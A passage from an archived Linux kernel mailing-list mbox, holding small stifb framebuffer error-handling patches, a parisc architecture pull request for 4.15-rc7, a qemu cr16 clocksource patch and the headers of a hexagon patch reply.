 4uhvyG1Jh2nhBqTOiWOiYXkaUo0CEcBzhKpMlxTjCVd6bbXCekigldE55JatqxnjG6p8GhXGQ
 SKQjAZxDYMmmeQv7qdNGgFuQhHK2fyiBnItTqNDvbw96b+FaLxEx3e0uJ07renz47nmnFfcgo
 YGpU0W1Qg2nhyhRAUEXN3o2M0esQgkLhOGahXc+ERZWIA6X0DJvrP1Uxr0/b5LNINEyMUDmXd
 VeKnJQkvm4aDzAgbM7CIE9CS4k1zPKlaCBOmLyEdkBPYH7OWe+nuYywMeC5YlxuXlftcUGYc 
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:208328 gmane.linux.ports.parisc:28165 gmane.linux.kernel.janitors:50591 gmane.linux.kernel:2659711
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/208328>

RnJvbTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgpEYXRl
OiBTdW4sIDcgSmFuIDIwMTggMTE6MzM6NTkgKzAxMDAKClJlcGxhY2UgYW4gZXJyb3IgY29kZSBm
b3IgdGhlIGluZGljYXRpb24gb2YgYSBtZW1vcnkgYWxsb2NhdGlvbiBmYWlsdXJlCmluIHRoaXMg
ZnVuY3Rpb24uCgpGaXhlczogMWRhMTc3ZTRjM2Y0MTUyNGU4ODZiN2YxYjhhMGMxZmM3MzIxY2Fj
ICgiTGludXgtMi42LjEyLXJjMjogSW5pdGlhbCBnaXQgcmVwb3NpdG9yeSBidWlsZCIpClN1Z2dl
c3RlZC1ieTogUm9sZiBFaWtlIEJlZXIgPGVpa2Uta2VybmVsQHNmLXRlYy5kZT4KU2lnbmVkLW9m
Zi1ieTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgotLS0K
IGRyaXZlcnMvdmlkZW8vZmJkZXYvc3RpZmIuYyB8IDIgKy0KIDEgZmlsZSBjaGFuZ2VkLCAxIGlu
c2VydGlvbigrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2RyaXZlcnMvdmlkZW8vZmJk
ZXYvc3RpZmIuYyBiL2RyaXZlcnMvdmlkZW8vZmJkZXYvc3RpZmIuYwppbmRleCA2ZGVkNWMxOTg5
OTguLjUxMWE1OTQ4ODlhZiAxMDA2NDQKLS0tIGEvZHJpdmVycy92aWRlby9mYmRldi9zdGlmYi5j
CisrKyBiL2RyaXZlcnMvdmlkZW8vZmJkZXYvc3RpZmIuYwpAQCAtMTEyOCw3ICsxMTI4LDcgQEAg
c3RhdGljIGludCBfX2luaXQgc3RpZmJfaW5pdF9mYihzdHJ1Y3Qgc3RpX3N0cnVjdCAqc3RpLCBp
bnQgYnBwX3ByZWYpCiAJZmIgPSBremFsbG9jKHNpemVvZigqZmIpLCBHRlBfQVRPTUlDKTsKIAlp
ZiAoIWZiKSB7CiAJCXByaW50ayhLRVJOX0VSUiAic3RpZmI6IENvdWxkIG5vdCBhbGxvY2F0ZSBz
dGlmYiBzdHJ1Y3R1cmVcbiIpOwotCQlyZXR1cm4gLUVOT0RFVjsKKwkJcmV0dXJuIC1FTk9NRU07
CiAJfQogCQogCWluZm8gPSAmZmItPmluZm87Ci0tIAoyLjE1LjEKCl9fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmRyaS1kZXZlbCBtYWlsaW5nIGxpc3QKZHJp
LWRldmVsQGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpodHRwczovL2xpc3RzLmZyZWVkZXNrdG9wLm9y
Zy9tYWlsbWFuL2xpc3RpbmZvL2RyaS1kZXZlbAo=


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH v2 2/2] video/fbdev/stifb: Delete an error message for a
 failed memory allocation in stifb_init_fb()
Date: Sun, 7 Jan 2018 12:58:47 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <f92f41b1-d4fa-4ffa-8c19-af4eb0d2d8cf@users.sourceforge.net>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
 <CGME20171124213055epcas4p45c641222185056871b97f4e7bc235d2e@epcas4p4.samsung.com>
 <25624997.nONnEdNj0s@daneel.sf-tec.de> <1680261.Msdj7gi9fB@amdc3058>
 <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1515326263 20955 195.159.176.226 (7 Jan 2018 11:57:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 7 Jan 2018 11:57:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: kernel-janitors@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 dri-devel@lists.freedesktop.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
 Helge Deller <deller@gmx.de>, "James E. J. Bottomley"
 <jejb@parisc-linux.org>, Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Sun Jan 07 12:57:38 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1eY9a0-0004hd-8m
	for sf-dri-devel@m.gmane.org; Sun, 07 Jan 2018 12:57:32 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 9EEC16E50C;
	Sun,  7 Jan 2018 11:59:34 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mout.web.de (mout.web.de [212.227.15.4])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 4C9F06E50C
 for <dri-devel@lists.freedesktop.org>; Sun,  7 Jan 2018 11:59:33 +0000 (UTC)
Original-Received: from [192.168.1.3] ([78.48.134.178]) by smtp.web.de (mrweb001
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0MCZP8-1egR4i3ghe-009MBL; Sun, 07
 Jan 2018 12:58:59 +0100
In-Reply-To: <889131fe-199c-3bef-0781-00761b807426@users.sourceforge.net>
Content-Language: en-GB
X-Provags-ID: V03:K0:/sXrzfDDFOYotTwN2kA38XEHBJZGRYzhmta5+GVVfb4JmO80GGS
 9aJqQjbxf2eDNv7H5Dc5jar7gmu+r5iZMjZQ/e95+uEYALr6vd1S/Z4ieNuqWzc6abZ0hMv
 HWcqs3qj5VH9XIBP3L1fAZ5Pqp7H4RKYNCEFCGfKw7PB4+qgl71pqVzu8NwC7vCVEKNWUFy
 MTTwn1UmzJ+4cT8bi5LMw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Xx8ef7P8KGo=:URRcSH57CHDMjE8ZDteMGd
 DQQNgapgd+NlZ9DHzpH2mYme51kUKkBlbHeCyWU4VrX/QC0EBGSOp1nEBJOKOc2TsH4hUlCUF
 IUlISwF0hHndW0nREmm2whUvIIhzNlQNyMTqgnL7KSswgiepzniUTJZeykVj2jVTrfrxLEiTS
 FrJnRcx4WaMxFl3BqGYGvi1+xLgF+siXRhxRgH+Dzey+Fw5Tg/XenoglpiE/VgVbxtJJPkYMZ
 HvDaz2kL9zsB8mV5KQMBxY1VHOa5/X7BbfIuk7CdOmbzNxI+i3oitg4H6MaQ/FxLosUJNJVXO
 2zVfth8sPcAlcclgc8Vub3yCZ0Yp2PPvzvPi3uTpSD+k9RO/6ajZIvqlfkhvqhHYssgMxL6Qi
 ieFot3LZeyhZX0ix5R61O/WH7lxNLHEUctJ8yUeZig54JB1MbLTqET1eHFyb4f8HcdW/35uAj
 Ieg8ZYw7vSXQBvk15HjZVbsVV4Mrbcj35a9t5555C2Rf1nWx7m2Jb+bbP2BD3jshrBiKnt0K8
 tWbwcFsSdZgoN69zu+kiXbqup89KATW9GEDo5oAhCDfH92BCadbmCt5IraBy0eqnoqp88EmEA
 FHkuRuYFpUjmdFrbsr5OVKNURYA13wNuw1SQoGspLdgtzGVWQb7aZ2vD9McqttHCBoZsCdxMW
 3UsP2WZlCU7GKfXXLTy2RJJrXehRP5hLhEMGwEpcWBahVZc2m8f8Al/4jUcCZ1nccvdxTeufu
 Wvu243RO/mYfM+lnk3woq66nLi8kfT2uP/SXfKchDavXYoifXzhYje3Ta4k8FVhax/tuBbWn 
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:208329 gmane.linux.ports.parisc:28166 gmane.linux.kernel.janitors:50592 gmane.linux.kernel:2659712
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/208329>

RnJvbTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgpEYXRl
OiBTdW4sIDcgSmFuIDIwMTggMTI6MzQ6MjIgKzAxMDAKCk9taXQgYW4gZXh0cmEgbWVzc2FnZSBm
b3IgYSBtZW1vcnkgYWxsb2NhdGlvbiBmYWlsdXJlIGluIHRoaXMgZnVuY3Rpb24uCgpUaGlzIGlz
c3VlIHdhcyBkZXRlY3RlZCBieSB1c2luZyB0aGUgQ29jY2luZWxsZSBzb2Z0d2FyZS4KClNpZ25l
ZC1vZmYtYnk6IE1hcmt1cyBFbGZyaW5nIDxlbGZyaW5nQHVzZXJzLnNvdXJjZWZvcmdlLm5ldD4K
LS0tCgp2MjoKVGhpcyB1cGRhdGUgc3VnZ2VzdGlvbiB3YXMgcmViYXNlZCBvbiBzb3VyY2UgZmls
ZXMgZnJvbSB0aGUgc29mdHdhcmUKIkxpbnV4IG5leHQtMjAxODAxMDUiIHRvZ2V0aGVyIHdpdGgg
YSBjaGFuZ2UgZm9yIGFuIGVycm9yIGNvZGUuCgogZHJpdmVycy92aWRlby9mYmRldi9zdGlmYi5j
IHwgNCArLS0tCiAxIGZpbGUgY2hhbmdlZCwgMSBpbnNlcnRpb24oKyksIDMgZGVsZXRpb25zKC0p
CgpkaWZmIC0tZ2l0IGEvZHJpdmVycy92aWRlby9mYmRldi9zdGlmYi5jIGIvZHJpdmVycy92aWRl
by9mYmRldi9zdGlmYi5jCmluZGV4IDUxMWE1OTQ4ODlhZi4uZGVjOGVmYjRmMjU2IDEwMDY0NAot
LS0gYS9kcml2ZXJzL3ZpZGVvL2ZiZGV2L3N0aWZiLmMKKysrIGIvZHJpdmVycy92aWRlby9mYmRl
di9zdGlmYi5jCkBAIC0xMTI2LDEwICsxMTI2LDggQEAgc3RhdGljIGludCBfX2luaXQgc3RpZmJf
aW5pdF9mYihzdHJ1Y3Qgc3RpX3N0cnVjdCAqc3RpLCBpbnQgYnBwX3ByZWYpCiAJaW50IGJwcCwg
eHJlcywgeXJlczsKIAogCWZiID0ga3phbGxvYyhzaXplb2YoKmZiKSwgR0ZQX0FUT01JQyk7Ci0J
aWYgKCFmYikgewotCQlwcmludGsoS0VSTl9FUlIgInN0aWZiOiBDb3VsZCBub3QgYWxsb2NhdGUg
c3RpZmIgc3RydWN0dXJlXG4iKTsKKwlpZiAoIWZiKQogCQlyZXR1cm4gLUVOT01FTTsKLQl9CiAJ
CiAJaW5mbyA9ICZmYi0+aW5mbzsKIAotLSAKMi4xNS4xCgpfX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0CmRyaS1kZXZl
bEBsaXN0cy5mcmVlZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFp
bG1hbi9saXN0aW5mby9kcmktZGV2ZWwK


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.15-rc7
Date: Sun, 7 Jan 2018 17:21:23 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20180107162123.GA9715@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515341988 31245 195.159.176.226 (7 Jan 2018 16:19:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 7 Jan 2018 16:19:48 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Richard Henderson <rth@twiddle.net>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 07 17:19:43 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eYDfa-00082t-OE
	for glpp-linux-parisc@m.gmane.org; Sun, 07 Jan 2018 17:19:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754000AbeAGQVi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 7 Jan 2018 11:21:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:56831 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753897AbeAGQVh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 7 Jan 2018 11:21:37 -0500
Original-Received: from ls3530.fritz.box ([193.159.27.52]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDhny-1efQ2y0TeQ-00H8f2; Sun, 07
 Jan 2018 17:21:26 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:5Irphr8nGcycfAAUDeP5oh8neXRnqNgcbyyty+Oo/cmajEeAxFf
 jXNb1FBrH7Z8s2aHnEUowicF7V4olZXeN21gsrviJy+kvw+qg+xUhNO6xh3FaNfTPo/xfkx
 KP7Nnonq1RqtS58qm9PwMvDC52PVGkSpwfiwA/YNmJ6tvrBxmW8H5eNNimTwJWjMHZIpHT+
 im+xM0fo0ipRcaOxGJ5Hg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:REJEOd+q4IY=:WycvFlDhAryLxNn11EnGuV
 0osq1IQFKhDZhzMJ1MFxAcuFUvfig1kyZ/quHIEaymayHmAO8spunQUZp9yJ0sNjaXVqKRR/l
 kkj35SisjhglyXEk3OzaXQPnwTNxO3JzLKJm2lltKYh9kqX5Ry56tRZLXke56Ymd9dzbV7t3R
 pLU+sjmrSZm6g3HO8vKOcDCCaj7hFkTTXsV4Ujuy+0Fy7M/+981JZ8akI4yjkkmy+mGoo1HBO
 pP07owAH0CA/tj9TK487H53v6zPpYztEqK3ymls1ziDRxtVXUJ3taRAUiEhFH19c7UnZZiLoY
 eBI/XZfT5l7foU70SmMwKwAv2/JMYj+cYGkLzc0N6pOoWXZ9wCbAUZorxdM3F58KMH0abuuQG
 QRTimolJm3S3Iozk+mBNnQgG5rjXUX1qEG2OwWzy0wX75jpxz1gbJBLoyteyLbDOd6oZkm44E
 jfQSiosVQhL3QOQYQfhGCWMg/z1gG82ntOmRCZ5+f/YCbJB+y+wXJHqkEgM3z5hGB18+hvcmr
 4FMz+AfdJlN9Rv3Na1Cu3xea6zZb/Na9MgfByl0Kvw7F6I08OMwAVsZv7ZjngKFWdG2Punf6+
 R02bPc8ZYb1ZKo4X4Tskv9DoQi3G+cuOAfQRXPLCmGkCIQDWT9VAyzPlKaTttU7qWyWKOz3la
 fCkvqcLU6UkAqwoWlt4VonumpzKzMxdzDUxDDXrmZpOoMM3Ossy3bESIy7SbcrpuCbp434n8S
 K4WGDIsGjgXYGI/CIo8Rk09/qjYeS6h+nrNKbyw8+oTOsJB73djbh5MhCLGu4ykZ9By56arJ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28167 gmane.linux.kernel:2659808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28167>

Hi Linus,

please pull a few fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.15-3

The fixes are:
- Many small fixes to show the real physical addresses of devices instead of
  hashed addresses.

- One important fix to unbreak 32-bit SMP support: We forgot to 16-byte align
  the spinlocks in the assembler code.

- Qemu support: The host will get a chance to sleep when the parisc guest is
  idle. We use the same mechanism as the power architecture by overlaying the
  "or %r10,%r10,%r10" instruction which is simply a nop on real hardware.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (6):
      parisc: Show unhashed hardware inventory
      parisc: Show initial kernel memory layout unhashed
      parisc: Show unhashed HPA of Dino chip
      parisc: Show unhashed EISA EEPROM address
      parisc: Fix alignment of pa_tlb_lock in assembly on 32-bit SMP kernel
      parisc: qemu idle sleep support

 arch/parisc/include/asm/ldcw.h |  2 ++
 arch/parisc/kernel/drivers.c   |  2 +-
 arch/parisc/kernel/entry.S     | 13 +++++++++++--
 arch/parisc/kernel/pacache.S   |  9 +++++++--
 arch/parisc/kernel/process.c   | 39 +++++++++++++++++++++++++++++++++++++++
 arch/parisc/mm/init.c          | 10 +++++-----
 drivers/parisc/dino.c          | 10 +++++-----
 drivers/parisc/eisa_eeprom.c   |  2 +-
 8 files changed, 71 insertions(+), 16 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Use fast cr16 clocksource with qemu
Date: Mon, 8 Jan 2018 21:36:40 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20180108203640.GA16841@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515443705 13787 195.159.176.226 (8 Jan 2018 20:35:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Jan 2018 20:35:05 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 08 21:35:01 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eYe8C-0001Bh-IY
	for glpp-linux-parisc@m.gmane.org; Mon, 08 Jan 2018 21:34:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754909AbeAHUg4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 8 Jan 2018 15:36:56 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:50366 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753980AbeAHUgz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 8 Jan 2018 15:36:55 -0500
Original-Received: from ls3530.fritz.box ([193.159.22.244]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LrIPo-1f2B4o3XES-0134Cw; Mon, 08
 Jan 2018 21:36:42 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:jaqrl1obgpEEiixtTXya8zj86zcqY4WfOo1qPodJ0Wsu39GUkzf
 SlvUFIfA5B3zJ9ziy6oqFisjs880luei4OfNjTbhGXRkoGWbkmYnwgXgY56mAe422pH4BoP
 hlrzILV5JvdYrBK1xQzu9Z0FhZfIpvPhqORIbwRdn2Hpq8/U30/ap0ZBnW0jW9f1Smutmi/
 JK94IitsGfZx/x45+v97A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PX9u9Fx2SZI=:9FJqZ4LKxbiFzEpTysd/Ys
 63DDVhMk3s99gLFY6gEEF32dCpdRkMVNy3eJLiGA5S7xuXAMoLm4f7qTPYy4aIiMhgQyg4SiD
 CVQ+ksc/VtxAtwBjy6rwyAMMGOwCkmi8aiNN3fVNxDCbw30h6k2Z2YloKjyjRgDPALiGr73vo
 9Rc2QmZLOQ/7wEAEn1RY1jwv9TAxah6nxzN3LOa4HFmwUDkEMoYOiDhRGOTKVsgceYa9XyJdf
 OQw1L/4N5cYcHGii+1Riq4n132ZIIbAgpnnMsVBIWkftROxSXH4LOUyAKSrfFFRDcf8vibTZp
 2AeOYKoDb8KmT1zZy2TvKmsmBC8jW+NlHYNB38nb6SGIZrPq64aqMP4XpJcdVlH03mt2GGeHo
 HQ1Wc3Hd3DCNW/9MvipTlVX4x1tKA0P3YNzyC9gDAAcaA1IkJ2gSDNyFgvH9D2qW7clgXLWW4
 2IXwCVmPKI3iCtWcMp6PBh9c0vwXftBMgu6Y0VCJkNstFSec/YDFewv4ki+HsoGxX6RINQQ+r
 bsukFBJV8DtMmQ6/x0psjWPsezLU78/KtClrDdoY1bOMrcguSIN3I6cyzIkCa8biB4bkrwnQ9
 /yEZFHz7j2Paa1zlm9t+BzPVpeBFw7BhJzub/K49QsGyqVz6u+wlmOuIj1vhKBxPGgPn93lNv
 Gu1eJ6fLoRnMugw3/o6iD9y3ZBdNRnPntHQ8KaJ/fM2xG/5xLSBxwmcNxw29VMWy9UkSciooe
 1+mcI5tcTs7hF4Vzbo8LZ+sZO/Q+Z8qZkdtvqAPW/DnL/j3tZHc1ownUyJwh7jIo7lTWqNQ5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28168>

When booted in qemu, the (emulated) cr16 clocksources are monotonic and
syncronized, so they can be used as stable clocksources.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 0e6ab6e4a4e9..2dbe5580a1a4 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -316,6 +316,8 @@ extern int _parisc_requires_coherency;
 #define parisc_requires_coherency()	(0)
 #endif
 
+extern int running_on_qemu;
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* __ASM_PARISC_PROCESSOR_H */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 4b8fd6dc22da..68e88e5c0898 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -248,7 +248,7 @@ static int __init init_cr16_clocksource(void)
 	 * different sockets, so mark them unstable and lower rating on
 	 * multi-socket SMP systems.
 	 */
-	if (num_online_cpus() > 1) {
+	if (num_online_cpus() > 1 && !running_on_qemu) {
 		int cpu;
 		unsigned long cpu0_loc;
 		cpu0_loc = per_cpu(cpu_data, 0).cpu_loc;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Kuo <rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 06/67] hexagon: remove unused flush_write_buffers
	definition
Date: Mon, 8 Jan 2018 21:13:39 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20180109031339.GA4196@codeaurora.org>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-7-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515467514 3517 195.159.176.226 (9 Jan 2018 03:11:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Jan 2018 03:11:54 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
